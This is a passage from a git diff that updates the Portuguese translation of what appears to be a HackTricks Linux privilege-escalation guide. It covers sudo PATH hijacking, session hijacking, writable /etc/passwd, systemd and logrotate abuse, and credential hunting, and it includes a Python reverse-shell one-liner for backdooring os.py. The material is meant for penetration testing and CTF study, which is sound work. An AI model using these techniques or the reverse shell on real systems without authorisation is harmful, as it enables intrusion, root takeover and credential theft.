**modifique o $PATH** do contexto do usuário (por exemplo adicionando o novo caminho em .bash_profile) para que, quando o usuário executar sudo, seu executável sudo seja executado. -Observe que se o usuário usa um shell diferente (não bash) você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) +Observe que, se o usuário usa um shell diferente (não bash), você precisará modificar outros arquivos para adicionar o novo caminho. Por exemplo[ sudo-piggyback](https://github.com/APTy/sudo-piggyback) modifica `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`. Você pode encontrar outro exemplo em [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py) Ou executando algo como: ```bash @@ -1056,16 +1087,16 @@ zsh echo $PATH sudo ls ``` -## Biblioteca Compartilhada +## Shared Library ### ld.so -O arquivo `/etc/ld.so.conf` indica **de onde vêm os arquivos de configuração carregados**. Tipicamente, esse arquivo contém o seguinte caminho: `include /etc/ld.so.conf.d/*.conf` +O arquivo `/etc/ld.so.conf` indica **de onde vêm os arquivos de configuração carregados**. Tipicamente, este arquivo contém o seguinte caminho: `include /etc/ld.so.conf.d/*.conf` -Isso significa que os arquivos de configuração de `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema irá procurar por bibliotecas dentro de `/usr/local/lib`**. +Isso significa que os arquivos de configuração em `/etc/ld.so.conf.d/*.conf` serão lidos. Esses arquivos de configuração **apontam para outras pastas** onde **bibliotecas** serão **procuradas**. Por exemplo, o conteúdo de `/etc/ld.so.conf.d/libc.conf` é `/usr/local/lib`. **Isso significa que o sistema vai procurar por bibliotecas dentro de `/usr/local/lib`**. -Se por algum motivo **um usuário tiver permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta referenciada no arquivo de configuração em `/etc/ld.so.conf.d/*.conf` ele pode conseguir escalar privilégios.\ -Veja **como explorar essa má configuração** na página a seguir: +Se por algum motivo **um usuário tiver permissões de escrita** em qualquer um dos caminhos indicados: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, qualquer arquivo dentro de `/etc/ld.so.conf.d/` ou qualquer pasta referenciada pelo arquivo de configuração em `/etc/ld.so.conf.d/*.conf` ele pode ser capaz de escalar privilégios.\ +Confira **como explorar essa má-configuração** na página a seguir: {{#ref}} @@ -1083,7 +1114,7 @@ linux-gate.so.1 => (0x0068c000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) /lib/ld-linux.so.2 (0x005bb000) ``` -Ao copiar a lib para `/var/tmp/flag15/` ela será usada pelo programa nesse local conforme especificado na variável `RPATH`. +Ao copiar a lib para `/var/tmp/flag15/`, ela será usada pelo programa nesse local, conforme especificado na variável `RPATH`. ``` level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ @@ -1107,8 +1138,8 @@ execve(file,argv,0); ``` ## Capacidades -As capacidades do Linux fornecem um **subconjunto dos privilégios root disponíveis para um processo**. Isso efetivamente divide os **privilégios do root em unidades menores e distintas**. Cada uma dessas unidades pode então ser concedida independentemente a processos. Dessa forma, o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ -Leia a página a seguir para **aprender mais sobre capacidades e como abusar delas**: +Linux capabilities fornecem um **subconjunto dos privilégios root disponíveis para um processo**. Isso efetivamente divide os **privilégios root em unidades menores e distintas**. Cada uma dessas unidades pode então ser concedida independentemente a processos. Dessa forma, o conjunto completo de privilégios é reduzido, diminuindo os riscos de exploração.\ +Leia a página a seguir para **aprender mais sobre capabilities e como abusar delas**: {{#ref}} @@ -1117,14 +1148,14 @@ linux-capabilities.md ## Permissões de diretório -Em um diretório, o **bit de "execute"** implica que o usuário afetado pode "**cd**" para dentro da pasta.\ -O **bit "read"** implica que o usuário pode **listar** os **arquivos**, e o **bit "write"** implica que o usuário pode **excluir** e **criar** novos **arquivos**. +Em um diretório, o **bit para "execute"** implica que o usuário afetado pode "**cd**" para dentro da pasta.\ +O **"read"** bit implica o usuário pode **list** os **files**, e o **"write"** bit implica o usuário pode **delete** e **create** novos **files**. ## ACLs -Access Control Lists (ACLs) representam a camada secundária de permissões discricionárias, capazes de **sobrescrever as permissões tradicionais ugo/rwx**. Essas permissões ampliam o controle sobre o acesso a um arquivo ou diretório ao permitir ou negar direitos a usuários específicos que não sejam os proprietários nem façam parte do grupo. Esse nível de **granularidade garante uma gestão de acesso mais precisa**. Mais detalhes podem ser encontrados [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). +Listas de Controle de Acesso (ACLs) representam a camada secundária de permissões discricionárias, capazes de **sobrepor as permissões tradicionais ugo/rwx**. Essas permissões aprimoram o controle de acesso a arquivos ou diretórios ao permitir ou negar direitos a usuários específicos que não são os proprietários nem fazem parte do grupo. Esse nível de **granularidade garante um gerenciamento de acesso mais preciso**. Further details can be found [**here**](https://linuxconfig.org/how-to-manage-acls-on-linux). -**Conceder** ao usuário "kali" permissões de leitura e escrita sobre um arquivo: +**Conceda** ao usuário "kali" permissões read e write sobre um arquivo: ```bash setfacl -m u:kali:rw file.txt #Set it in /etc/sudoers or /etc/sudoers.d/README (if the dir is included) @@ -1135,10 +1166,10 @@ setfacl -b file.txt #Remove the ACL of the file ```bash getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null ``` -## Sessões shell abertas +## Abrir shell sessions -Em **versões antigas** você pode **hijack** alguma sessão **shell** de um usuário diferente (**root**).\ -Em **versões mais recentes** você só poderá **connect** em screen sessions do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da sessão**. +Em **versões antigas** você pode **hijack** alguma **shell** session de um usuário diferente (**root**).\ +Em **versões mais recentes** você só poderá **connect** a screen sessions do **seu próprio usuário**. No entanto, você pode encontrar **informações interessantes dentro da session**. ### screen sessions hijacking @@ -1157,9 +1188,9 @@ screen -x [user]/[session id] ``` ## tmux sessions hijacking -Isso foi um problema com **old tmux versions**. Eu não consegui hijackar uma sessão tmux (v2.1) criada por root como um usuário não privilegiado. +Isso foi um problema com **versões antigas do tmux**. Não consegui realizar um hijack em uma sessão do tmux (v2.1) criada pelo root enquanto usuário sem privilégios. -**Listar tmux sessions** +**Listar sessões do tmux** ```bash tmux ls ps aux | grep tmux #Search for tmux consoles not using default folder for sockets @@ -1177,14 +1208,14 @@ rw-rw---- 1 root devs 0 Sep 1 06:27 /tmp/dev_sess #In this case root and devs c # If you are root or devs you can access it tmux -S /tmp/dev_sess attach -t 0 #Attach using a non-default tmux socket ``` -Check **Valentine box from HTB** for an example. +Confira **Valentine box from HTB** para um exemplo. ## SSH ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 Todas as chaves SSL e SSH geradas em sistemas baseados em Debian (Ubuntu, Kubuntu, etc) entre setembro de 2006 e 13 de maio de 2008 podem ser afetadas por esse bug.\ -Esse bug ocorre ao criar uma nova chave ssh nesses sistemas, pois **apenas 32,768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e **tendo a chave pública ssh você pode procurar a chave privada correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Esse bug é causado ao criar uma nova ssh key nesses sistemas, pois **apenas 32,768 variações eram possíveis**. Isso significa que todas as possibilidades podem ser calculadas e, **tendo a ssh public key você pode procurar pela private key correspondente**. Você pode encontrar as possibilidades calculadas aqui: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH Interesting configuration values @@ -1194,36 +1225,36 @@ Esse bug ocorre ao criar uma nova chave ssh nesses sistemas, pois **apenas 32,76 ### PermitRootLogin -Especifica se o root pode fazer login usando ssh, o padrão é `no`. Valores possíveis: +Especifica se root pode fazer login usando ssh, o padrão é `no`. Valores possíveis: -- `yes`: root pode fazer login usando senha e chave privada -- `without-password` or `prohibit-password`: root só pode fazer login com chave privada -- `forced-commands-only`: root só pode fazer login usando chave privada e se as opções de comandos forem especificadas +- `yes`: root pode efetuar login usando password e private key +- `without-password` or `prohibit-password`: root só pode fazer login com uma private key +- `forced-commands-only`: root pode logar apenas usando private key e se as opções de commands forem especificadas - `no` : não ### AuthorizedKeysFile -Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação de usuário. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (iniciando em `/`) ou **caminhos relativos a partir do home do usuário**. Por exemplo: +Especifica arquivos que contêm as chaves públicas que podem ser usadas para autenticação de usuários. Pode conter tokens como `%h`, que serão substituídos pelo diretório home. **Você pode indicar caminhos absolutos** (começando em `/`) ou **caminhos relativos ao diretório home do usuário**. Por exemplo: ```bash AuthorizedKeysFile .ssh/authorized_keys access ``` -Essa configuração indicará que, se você tentar fazer login com a **private** key do usuário "**testusername**", o ssh irá comparar a public key da sua key com as que estão localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` +Essa configuração vai indicar que, se você tentar fazer login com a chave **private** do usuário "**testusername**", o ssh vai comparar a public key da sua key com as localizadas em `/home/testusername/.ssh/authorized_keys` e `/home/testusername/access` ### ForwardAgent/AllowAgentForwarding -SSH agent forwarding permite que você **use seus SSH keys locais em vez de deixar keys** (without passphrases!) no seu servidor. Assim, você poderá **jump** via ssh **to a host** e, a partir daí, **jump to another** host **using** a **key** localizada no seu **initial host**. +SSH agent forwarding permite que você **use your local SSH keys instead of leaving keys** (without passphrases!) no seu servidor. Assim, você poderá **jump** via ssh **to a host** e, a partir daí, **jump to another** host **using** o **key** localizado no seu **initial host**. -Você precisa definir esta opção em `$HOME/.ssh.config` assim: +Você precisa definir essa opção em `$HOME/.ssh.config` assim: ``` Host example.com ForwardAgent yes ``` -Observe que se `Host` for `*` toda vez que o usuário se conectar a uma máquina diferente, esse host poderá acessar as chaves (o que representa um problema de segurança). +Observe que se `Host` for `*` toda vez que o usuário se conecta a uma máquina diferente, esse host poderá acessar as chaves (o que é um problema de segurança). -O arquivo `/etc/ssh_config` pode **sobrescrever** estas **opções** e permitir ou negar essa configuração.\ -O arquivo `/etc/sshd_config` pode **permitir** ou **negar** o ssh-agent forwarding com a palavra-chave `AllowAgentForwarding` (o padrão é permitir). +The file `/etc/ssh_config` can **override** this **options** and allow or denied this configuration.\ +O arquivo `/etc/sshd_config` pode **permitir** ou **negar** o encaminhamento do ssh-agent com a palavra-chave `AllowAgentForwarding` (padrão é permitir). -Se você descobrir que o Forward Agent está configurado em um ambiente leia a seguinte página, pois **você pode ser capaz de abusá-lo para escalar privilégios**: +If you find that Forward Agent is configured in an environment read the following page as **you may be able to abuse it to escalate privileges**: {{#ref}} @@ -1242,7 +1273,7 @@ Se algum script de perfil estranho for encontrado, você deve verificá-lo em bu ### Arquivos Passwd/Shadow -Dependendo do SO, os arquivos `/etc/passwd` e `/etc/shadow` podem estar usando um nome diferente ou pode haver um backup. Portanto, é recomendado **encontrar todos eles** e **verificar se você pode lê-los** para ver **se há hashes** dentro dos arquivos: +Dependendo do sistema operacional, os arquivos `/etc/passwd` e `/etc/shadow` podem estar usando um nome diferente ou pode haver um backup. Portanto, é recomendado **encontrar todos eles** e **verificar se você consegue lê-los** para ver **se há hashes** dentro dos arquivos: ```bash #Passwd equivalent files cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null @@ -1253,35 +1284,31 @@ Em algumas ocasiões, você pode encontrar **password hashes** dentro do arquivo ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` -### Permissão de escrita em /etc/passwd +### /etc/passwd gravável -Primeiro, gere uma senha com um dos seguintes comandos. +Primeiro, gere uma password com um dos seguintes comandos. ``` openssl passwd -1 -salt hacker hacker mkpasswd -m SHA-512 hacker python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' ``` -Então adicione o usuário `hacker` e defina a senha gerada. - -```bash -sudo useradd -m -s /bin/bash hacker -echo 'hacker:N7s$3qVx9B!r4YwZ' | sudo chpasswd -``` +Em seguida, adicione o usuário `hacker` e insira a senha gerada. ``` hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash ``` -Ex.: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` +Exemplo: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` -Agora você pode usar o comando `su` com `hacker:hacker` +Você agora pode usar o comando `su` com `hacker:hacker` -Alternativamente, você pode usar as linhas a seguir para adicionar um usuário dummy sem senha.\ AVISO: isso pode comprometer a segurança atual da máquina. +Alternativamente, você pode usar as linhas a seguir para adicionar um usuário fictício sem senha.\ +AVISO: isso pode comprometer a segurança atual da máquina. ``` echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOTA: Em plataformas BSD `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, além disso o `/etc/shadow` foi renomeado para `/etc/spwd.db`. +NOTA: Em plataformas BSD, `/etc/passwd` está localizado em `/etc/pwd.db` e `/etc/master.passwd`, além disso `/etc/shadow` foi renomeado para `/etc/spwd.db`. -Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por exemplo, você consegue escrever em algum **arquivo de configuração de serviço**? +Você deve verificar se consegue **escrever em alguns arquivos sensíveis**. Por exemplo, consegue escrever em algum **arquivo de configuração de serviço**? ```bash find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody for g in `groups`; do find \( -type f -or -type d \) -group $g -perm -g=w 2>/dev/null | grep -v '/proc/' | grep -v $HOME; done #Find files writable by any group of the user @@ -1292,15 +1319,15 @@ ExecStart=/path/to/backdoor User=root Group=root ``` -Sua backdoor será executada na próxima vez que o tomcat for iniciado. +Seu backdoor será executado na próxima vez que o tomcat for iniciado. -### Verificar diretórios +### Verificar Pastas -Os seguintes diretórios podem conter backups ou informações interessantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Provavelmente você não conseguirá ler o último, mas tente) +As seguintes pastas podem conter backups ou informações interessantes: **/tmp**, **/var/tmp**, **/var/backups, /var/mail, /var/spool/mail, /etc/exports, /root** (Provavelmente você não conseguirá ler a última, mas tente) ```bash ls -a /tmp /var/tmp /var/backups /var/mail/ /var/spool/mail/ /root ``` -### Arquivos em Localização Estranha/Owned +### Localização Estranha/Owned files ```bash #root owned files in /home folders find /home -user root 2>/dev/null @@ -1321,7 +1348,7 @@ done ```bash find / -type f -mmin -5 ! -path "/proc/*" ! -path "/sys/*" ! -path "/run/*" ! -path "/dev/*" ! -path "/var/lib/*" 2>/dev/null ``` -### Arquivos DB do Sqlite +### Arquivos DB Sqlite ```bash find / -name '*.db' -o -name '*.sqlite' -o -name '*.sqlite3' 2>/dev/null ``` @@ -1333,7 +1360,7 @@ find / -type f \( -name "*_history" -o -name ".sudo_as_admin_successful" -o -nam ```bash find / -type f -iname ".*" -ls 2>/dev/null ``` -### **Scripts/Binários no PATH** +### **Script/Binaries no PATH** ```bash for d in `echo $PATH | tr ":" "\n"`; do find $d -name "*.sh" 2>/dev/null; done for d in `echo $PATH | tr ":" "\n"`; do find $d -type f -executable 2>/dev/null; done @@ -1351,20 +1378,20 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ``` ### Arquivos conhecidos que contêm senhas -Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ele procura por **vários arquivos que podem conter senhas**.\ +Leia o código do [**linPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS), ele procura **vários arquivos que podem conter senhas**.\ **Outra ferramenta interessante** que você pode usar para isso é: [**LaZagne**](https://github.com/AlessandroZ/LaZagne) que é uma aplicação de código aberto usada para recuperar muitas senhas armazenadas em um computador local para Windows, Linux & Mac. ### Logs -Se você puder ler logs, pode ser capaz de encontrar **informações interessantes/confidenciais dentro deles**. Quanto mais estranho for o log, mais interessante ele provavelmente será (provavelmente).\ -Além disso, alguns **"mal"** configurados (backdoored?) **audit logs** podem permitir que você **registre senhas** dentro de audit logs como explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Se você consegue ler logs, talvez consiga encontrar **informações interessantes/confidenciais neles**. Quanto mais estranho for o log, mais interessante ele provavelmente será.\ +Além disso, alguns **audit logs** configurados de forma “**bad**” (backdoored?) podem permitir que você **registre senhas** dentro dos audit logs, como explicado neste post: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ``` -Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm-group) será realmente útil. +Para ler logs, o grupo [**adm**](interesting-groups-linux-pe/index.html#adm-group) será muito útil. -### Arquivos de shell +### Shell files ```bash ~/.bash_profile # if it exists, read it once when you log in to the shell ~/.bash_login # if it exists, read it once if .bash_profile doesn't exist @@ -1377,41 +1404,41 @@ Para **ler logs, o grupo** [**adm**](interesting-groups-linux-pe/index.html#adm- ``` ### Generic Creds Search/Regex -Você também deve verificar arquivos que contenham a palavra "**password**" no seu **nome** ou no **conteúdo**, e também procurar por IPs e emails em logs, ou por hashes usando regexps.\ -Não vou listar aqui como fazer tudo isso, mas se estiver interessado você pode conferir as últimas verificações que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. +Você também deve verificar arquivos que contenham a palavra "**password**" no **nome** ou dentro do **conteúdo**, e também verificar por IPs e emails dentro de logs, ou hashes regexps.\ +Não vou listar aqui como fazer tudo isso, mas se estiver interessado você pode checar os últimos checks que [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) realiza. ## Arquivos graváveis ### Python library hijacking -Se você souber de **onde** um script python será executado e **puder escrever** nessa pasta ou **modify python libraries**, você pode modificar a OS library e backdoor it (se você puder escrever onde o script python será executado, copie e cole a os.py library). +Se você souber de **onde** um script python será executado e você **puder escrever nesse diretório** ou você puder **modificar python libraries**, você pode modificar a OS library e backdoorá-la (se você puder escrever onde o script python será executado, copie e cole a biblioteca os.py). -Para **backdoor the library**, basta adicionar ao final da os.py library a seguinte linha (altere IP e PORT): +Para **backdoor the library** basta adicionar no final da biblioteca os.py a seguinte linha (mude IP e PORT): ```python import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.14",5678));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]); ``` -### Logrotate exploitation +### Exploração do logrotate -Uma vulnerabilidade em `logrotate` permite que usuários com **permissão de escrita** em um arquivo de log ou em seus diretórios pai potencialmente obtenham privilégios elevados. Isso ocorre porque `logrotate`, muitas vezes executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante verificar permissões não apenas em _/var/log_ mas também em qualquer diretório onde a rotação de logs é aplicada. +Uma vulnerabilidade em `logrotate` permite que usuários com **permissões de escrita** em um arquivo de log ou em seus diretórios pai potencialmente obtenham privilégios elevados. Isso acontece porque `logrotate`, frequentemente executado como **root**, pode ser manipulado para executar arquivos arbitrários, especialmente em diretórios como _**/etc/bash_completion.d/**_. É importante verificar permissões não apenas em _/var/log_ mas também em qualquer diretório onde a rotação de logs é aplicada. > [!TIP] -> Esta vulnerabilidade afeta `logrotate` na versão `3.18.0` e anteriores +> Esta vulnerabilidade afeta `logrotate` versão `3.18.0` e anteriores -Mais informações detalhadas sobre a vulnerabilidade podem ser encontradas nesta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). +Informações mais detalhadas sobre a vulnerabilidade podem ser encontradas nesta página: [https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition](https://tech.feedyourhead.at/content/details-of-a-logrotate-race-condition). Você pode explorar essa vulnerabilidade com [**logrotten**](https://github.com/whotwagner/logrotten). -Esta vulnerabilidade é muito semelhante a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** então sempre que você descobrir que pode alterar logs, verifique quem está gerenciando esses logs e veja se você pode escalar privilégios substituindo os logs por symlinks. +Essa vulnerabilidade é muito semelhante a [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx logs),** então sempre que você encontrar que pode alterar logs, verifique quem está gerenciando esses logs e veja se pode escalar privilégios substituindo os logs por symlinks. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) **Referência da vulnerabilidade:** [**https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure\&qid=e026a0c5f83df4fd532442e1324ffa4f**](https://vulmon.com/exploitdetails?qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f) -Se, por qualquer motivo, um usuário consegue **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** consegue **ajustar** um já existente, então seu **sistema está pwned**. +Se, por qualquer motivo, um usuário conseguir **escrever** um script `ifcf-` em _/etc/sysconfig/network-scripts_ **ou** conseguir **ajustar** um existente, então seu sistema está **pwned**. -Network scripts, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. No entanto, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d). +Network scripts, _ifcg-eth0_ por exemplo, são usados para conexões de rede. Eles se parecem exatamente com arquivos .INI. Contudo, eles são \~sourced\~ no Linux pelo Network Manager (dispatcher.d). -No meu caso, o atributo `NAME=` nesses network scripts não é tratado corretamente. Se você tiver **espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**. +No meu caso, o `NAME=` atribuído nesses network scripts não é tratado corretamente. Se você tiver **espaço em branco no nome, o sistema tenta executar a parte após o espaço em branco**. Isso significa que **tudo após o primeiro espaço em branco é executado como root**. Por exemplo: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1419,17 +1446,17 @@ NAME=Network /bin/id ONBOOT=yes DEVICE=eth0 ``` -(_Note o espaço em branco entre Network e /bin/id_) +(_Observe o espaço em branco entre Network e /bin/id_) -### **init, init.d, systemd, and rc.d** +### **init, init.d, systemd e rc.d** -O diretório `/etc/init.d` é o local dos **scripts** para System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Ele inclui scripts para `start`, `stop`, `restart` e, às vezes, `reload` de serviços. Estes podem ser executados diretamente ou através de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. +O diretório `/etc/init.d` contém **scripts** para System V init (SysVinit), o **sistema clássico de gerenciamento de serviços do Linux**. Inclui scripts para `start`, `stop`, `restart`, e às vezes `reload` serviços. Estes podem ser executados diretamente ou por meio de links simbólicos encontrados em `/etc/rc?.d/`. Um caminho alternativo em sistemas Redhat é `/etc/rc.d/init.d`. -Por outro lado, `/etc/init` está associado ao Upstart, um mais novo sistema de **service management** introduzido pela Ubuntu, que usa arquivos de configuração para tarefas de gerenciamento de serviço. Apesar da transição para Upstart, scripts SysVinit ainda são usados junto às configurações do Upstart devido a uma camada de compatibilidade no Upstart. +Por outro lado, `/etc/init` está associado ao **Upstart**, um **gerenciador de serviços** mais recente introduzido pelo Ubuntu, que usa arquivos de configuração para tarefas de gerenciamento de serviços. Apesar da transição para o Upstart, scripts SysVinit ainda são utilizados juntamente com as configurações do Upstart devido a uma camada de compatibilidade no Upstart. -**systemd** surge como um manager moderno de inicialização e serviços, oferecendo recursos avançados como start on-demand de daemons, gerenciamento de automounts e snapshots do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes da distribuição e `/etc/systemd/system/` para modificações do administrador, simplificando o processo de administração do sistema. +O systemd surge como um gerenciador moderno de inicialização e serviços, oferecendo recursos avançados como inicialização de daemons on-demand, gerenciamento de automounts e snapshots do estado do sistema. Ele organiza arquivos em `/usr/lib/systemd/` para pacotes de distribuição e `/etc/systemd/system/` para modificações do administrador, simplificando o processo de administração do sistema. -## Outros truques +## Outros Truques ### NFS Privilege escalation @@ -1454,39 +1481,53 @@ cisco-vmanage.md ## Android rooting frameworks: manager-channel abuse -Android rooting frameworks comumente hookam um syscall para expor funcionalidade privilegiada do kernel a um manager em userspace. Autenticação fraca do manager (por exemplo, checagens de assinatura baseadas em FD-order ou esquemas de senha pobres) pode permitir que um app local se faça passar pelo manager e escale para root em dispositivos já-rooted. Saiba mais e detalhes de exploração aqui: +Android rooting frameworks costumam interceptar um syscall para expor funcionalidades privilegiadas do kernel a um manager em userspace. Autenticação fraca do manager (por exemplo, verificações de assinatura baseadas na ordem de FD — FD-order — ou esquemas de senha fracos) pode permitir que um app local se faça passar pelo manager e escale para root em dispositivos já rootados. Saiba mais e detalhes de exploração aqui: {{#ref}} android-rooting-frameworks-manager-auth-bypass-syscall-hook.md {{#endref}} -## Kernel Security Protections +## VMware Tools service discovery LPE (CWE-426) via regex-based exec (CVE-2025-41244) + +A descoberta de serviços baseada em regex no VMware Tools/Aria Operations pode extrair um caminho binário das linhas de comando dos processos e executá-lo com -v sob um contexto privilegiado. Padrões permissivos (por exemplo, usando \S) podem casar com listeners staged pelo atacante em locais graváveis (por exemplo, /tmp/httpd), levando à execução como root (CWE-426 Untrusted Search Path). + +Saiba mais e veja um padrão generalizado aplicável a outros stacks de discovery/monitoring aqui: + +{{#ref}} +vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md +{{#endref}} + +## Proteções de Segurança do Kernel - [https://github.com/a13xp0p0v/kconfig-hardened-check](https://github.com/a13xp0p0v/kconfig-hardened-check) - [https://github.com/a13xp0p0v/linux-kernel-defence-map](https://github.com/a13xp0p0v/linux-kernel-defence-map) -## More help +## Mais ajuda [Static impacket binaries](https://github.com/ropnop/impacket_static_binaries) ## Linux/Unix Privesc Tools -### **Best tool to look for Linux local privilege escalation vectors:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) +### **Melhor ferramenta para procurar vetores de Linux local privilege escalation:** [**LinPEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/tree/master/linPEAS) **LinEnum**: [https://github.com/rebootuser/LinEnum](https://github.com/rebootuser/LinEnum)(-t option)\ **Enumy**: [https://github.com/luke-goddard/enumy](https://github.com/luke-goddard/enumy)\ **Unix Privesc Check:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Priv Checker:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Enumerate kernel vulns ins linux and MAC [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Enumera vulnerabilidades do kernel em Linux e macOS [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Suggester:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ -**EvilAbigail (physical access):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ -**Recopilation of more scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) +**EvilAbigail (acesso físico):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ +**Compilação de mais scripts**: [https://github.com/1N3/PrivEsc](https://github.com/1N3/PrivEsc) ## Referências +- [0xdf – HTB Planning (Crontab UI privesc, zip -P creds reuse)](https://0xdf.gitlab.io/2025/09/13/htb-planning.html) +- [alseambusher/crontab-ui](https://github.com/alseambusher/crontab-ui) + + - [https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/](https://blog.g0tmi1k.com/2011/08/basic-linux-privilege-escalation/) - [https://payatu.com/guide-linux-privilege-escalation/](https://payatu.com/guide-linux-privilege-escalation/) - [https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744](https://pen-testing.sans.org/resources/papers/gcih/attack-defend-linux-privilege-escalation-techniques-2016-152744) @@ -1508,4 +1549,6 @@ android-rooting-frameworks-manager-auth-bypass-syscall-hook.md - [GNU Bash Manual – BASH_ENV (non-interactive startup file)](https://www.gnu.org/software/bash/manual/bash.html#index-BASH_005fENV) - [0xdf – HTB Environment (sudo env_keep BASH_ENV → 